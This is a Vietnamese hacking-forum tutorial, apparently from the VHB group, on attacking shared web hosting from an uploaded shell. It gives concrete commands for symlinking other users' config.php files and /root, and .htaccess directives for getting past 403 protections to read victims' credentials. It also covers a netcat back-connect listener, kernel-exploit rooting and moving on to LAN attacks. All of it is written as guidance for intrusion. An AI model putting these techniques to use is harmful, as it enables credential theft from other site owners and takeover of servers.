Cấu trúc lệnh symlink (để symlink file có địa chỉ là /home/usertarget/public_html/includes/config.php target.txt
lệnh này symlink file config về file target.txt nằm ở thư mục ta đang symlink. Ở điều kiện tốt nhất ta có thể đọc đc file target.txt này trên host ta đặt shell.

Nhưng không phải khi nào ta cũng có điều kiện tốt như vậy. Chủ của website có thể chmod không cho ta đọc file config (100,101,400... ) chẳng han.Tùy server.Hoặc chủ website đặt tại thư mục chứa file config đấy 1 file .htaccess có nội dung như sau.

<Files config.php>
order allow, deny
deny from all
</Files>

Nếu chủ site đặc như thế thì khi symlink ta sẽ nhận được thông báo là 403 Forbidden Error.
Ở bài này mình chỉ nói đến tư tưởng tấn công chứ không nói chi tiết về phương pháp tấn công.Nên mình chỉ nêu 1 vài ví dụ.

Nếu như ta không đọc được thì sao.Ta phải suy nghĩ vì sao không đọc được.Tư duy đặt trường hợp ta vào vị trí admin của victim.Nếu là ta ,ta sẽ bảo mật như thế nào.Sẽ làm gì.Từ đó ta có những biện pháp khác nhau.

Giả sử như ta tìm giải pháp để bypass 403 forbidden error do chủ website đặt file .htaccess chẳng hạn nhé.
Trên host ta đặt shell.Tạo một thư mực có tên là VHBSYSTEM chẳng hạn.Đường dẫn đầy đủ của nó ví dụ như sau : /home/attacker/public_html/VHBSYSTEM/ .Chmod lại thư mục này là 777 (lúc đầu chưa cần.Nếu không được hẵn thử ). Sau đó tạo một file .htaccess với nội dung như sau 

HeaderName vhb.txt

Đặt file .htaccess này vào thư mục /home/attacker/public_html/ . Nếu ta symlink file config vào file vhb.txt với cấu trúc lệnh ln -s /home/victim/public_html/includes/config.php vhb.txt

Thì sau khi symlink xong .Ta vào thư mục VHBSYSTEM và đọc file vhb.txt vừa symlink về.Nó sẽ bypass được.

Đây chỉ là 1 ví dụ trong nhiều cách bypass.Nhiều bạn bảo local phải có tư duy.Nhưng mình nghĩ muốn local tốt thì phải biết nhiều cách bypass trong trường hợp không đọc được file.

Vấn đề này bạn nên tham khảo thêm ở nhiều tài liệu được share trong VHB. ( hoặc ghé thăm vhbgr0up.blogspot.com )

Trong các cách cũng được khá nhiều người dung.Nhưng dùng symlink all config ( cái này trên blog và forum của vhb cũng có nói rồi ). Sym root bằng cách tạo sym root ở một server linux nào đó .Sau đó tar lại.Up lên server cần local.Cái này trên VHB cũng nhiều bài nói đến rồi.

Mình đề cập thêm việc sym root ngay trực tiếp trên server.Đôi khi nó khá hiệu quả trong việc bypass security.
Như khi nãy.Tạo một folder VHB để tiện xử lí.Link full của nó /home/attacker/public_html/VHB .Sau đó ta thực hiện symlink trên shell như sau " ln -s /root" . Sau đó ta chọn một victim có domain là target.com chẳng hạn.Tiếp tục type "ls -la /etc/valiases/target.com" .Sau ddos quay lại folder ta vừa tạo VHB.Đặt vào đấy 1 file htaccess có nội dung như sau

Options Indexes FollowSymLinks
DirectoryIndex index.htm
AddType txt .php
AddHandler txt .php

Bây giờ ta vào xem ta symlink được những gì.Nếu như chỗ nào nó báo permisssion access.Thì cũng đừng lo lắng bận tâm.Hãy vào sâu hơn.Giả sử ta cần xem target.com có user lấy được ở trên là target đi.
Thì ta xem nó với link sau attacker.com/VHB/root/home/target/public_html/ ......
Đôi khi xem không được thì có thể view source lên nhé.

Thôi dừng ở việc local lại.Không viết đến khi nào mới xong.Bạn cứ lượn trên blog VHB 1 tuần.Kiểu gì chả pro local :).


Bước 5.Rooting.

Nếu là server linux thì nên thử Get root nó .Đôi khi thử rooting server lại là con đường ngắn hơn cả local sang.Không phải khi nào cũng local được.Nó bảo mật bá đạo quá thì cũng chịu chết thôi.Hãy thử rooting nếu được.

Tạo một backconnect hoặc có thể bind một port nào đó.MỘt back connect ở đây là server có thể tự connect về mình sau khi mình mở một port đặng biệt nào đó và lắng nghe nó bằng netcat ( nc -l -v -p 4444 ) chẳng hạn.Có khá nhiều shell hỗ trợ back-connect..

Muốn rooting thì phải kiểm tra xem kernel đó có rooting được hay không.Trên shell bạn có thể kiểm tra bằng lện "uname -a" .Lấy phiên bản của kernel nhân được .Tìm trên google xem nó thể exploit đc hay không.
(Có thể vào exploit-db.com/local/ ) để tìm.

Bước 6: Attack Mạng Lan.

Nếu bạn đã chiếm đc 1 server máy chủ rồi.Thì hãy cố gắng thử tấn công các máy cùng mạng Lan với nó.Đây là cơ hội để thể hiện khả năng attack trong mạng Lan của bạn.Cái này khi nào đấy bảo smod Hoangnhatnam của chúng ta demo.Để anh em mở mắt :))